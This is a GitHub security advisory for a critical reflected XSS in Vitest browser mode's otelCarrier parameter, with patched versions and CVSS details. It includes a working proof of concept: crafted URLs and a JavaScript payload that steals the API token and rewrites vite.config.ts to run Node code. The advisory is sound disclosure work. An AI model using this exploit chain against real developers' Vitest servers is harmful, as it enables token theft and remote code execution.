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Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Critical severity GitHub Reviewed Published May 19, 2026 in vitest-dev/vitest • Updated Jun 1, 2026

Package

npm @vitest/browser (npm)

Affected versions

>= 4.0.17, < 4.1.6
>= 5.0.0-beta.0, < 5.0.0-beta.3

Patched versions

4.1.6
5.0.0-beta.3

Description

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

Example script and encoded URL 
(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

References

@hi-ogawa hi-ogawa published to vitest-dev/vitest May 19, 2026
Published to the GitHub Advisory Database Jun 1, 2026
Reviewed Jun 1, 2026
Last updated Jun 1, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-47428

GHSA ID

GHSA-2h32-95rg-cppp

Source code

Credits

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